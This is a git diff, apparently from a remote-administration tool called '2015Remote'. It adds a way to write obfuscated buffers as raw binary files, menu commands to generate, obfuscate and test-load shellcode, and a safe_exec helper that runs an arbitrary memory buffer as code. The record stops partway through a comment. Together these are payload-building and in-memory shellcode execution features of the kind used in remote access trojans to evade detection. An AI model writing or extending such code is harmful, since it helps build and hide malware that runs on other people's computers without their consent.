diff --git a/common/obfs.h b/common/obfs.h index 43b2d8f..916bd84 100644 --- a/common/obfs.h +++ b/common/obfs.h @@ -7,12 +7,20 @@ class ObfsBase { public: + bool m_bGenCArray; + ObfsBase(bool genCArray = true) : m_bGenCArray(genCArray) { } + virtual ~ObfsBase() { } + // 对称混淆函数:用于加密和解密 virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {} // 解混淆:与加密顺序相反 virtual void DeobfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) {} + virtual bool WriteFile(const char* filename, uint8_t* data, size_t length, const char* arrayName) { + return m_bGenCArray ? WriteBinaryAsCArray(filename, data, length, arrayName) : WriteBinaryFile(filename, data, length); + } + // 将二进制数据以 C 数组格式写入文件 virtual bool WriteBinaryAsCArray(const char* filename, uint8_t* data, size_t length, const char* arrayName) { FILE* file = fopen(filename, "w"); @@ -32,6 +40,17 @@ public: fclose(file); return true; } + + // 使用 "wb" 二进制写入模式 + virtual bool WriteBinaryFile(const char* filename, const uint8_t* data, size_t length) { + FILE* file = fopen(filename, "wb"); + if (!file) return false; + + size_t written = fwrite(data, 1, length, file); + fclose(file); + + return written == length; + } }; class Obfs : public ObfsBase { @@ -47,6 +66,8 @@ private: } public: + Obfs(bool genCArray = true) : ObfsBase(genCArray) { } + // 对称混淆函数:用于加密和解密 virtual void ObfuscateBuffer(uint8_t* buf, size_t len, uint32_t seed) { uint32_t state = seed; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index afabec7..85203d0 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index b572532..e57608d 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -497,6 +497,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_MACHINE_LOGOUT, &CMy2015RemoteDlg::OnMachineLogout) ON_WM_DESTROY() ON_MESSAGE(WM_SESSION_ACTIVATED, &CMy2015RemoteDlg::OnSessionActivatedMsg) + ON_COMMAND(ID_TOOL_GEN_SHELLCODE_BIN, &CMy2015RemoteDlg::OnToolGenShellcodeBin) + ON_COMMAND(ID_SHELLCODE_LOAD_TEST, &CMy2015RemoteDlg::OnShellcodeLoadTest) + ON_COMMAND(ID_SHELLCODE_OBFS_LOAD_TEST, &CMy2015RemoteDlg::OnShellcodeObfsLoadTest) + ON_COMMAND(ID_OBFS_SHELLCODE_BIN, &CMy2015RemoteDlg::OnObfsShellcodeBin) END_MESSAGE_MAP() @@ -3153,6 +3157,17 @@ void CMy2015RemoteDlg::OnToolInputPassword() } } +bool safe_exec(void *exec) { + __try { + ((void(*)())exec)(); + return true; + } + __except (EXCEPTION_EXECUTE_HANDLER) { + VirtualFree(exec, 0, MEM_RELEASE); + } + return false; +} + /* Example: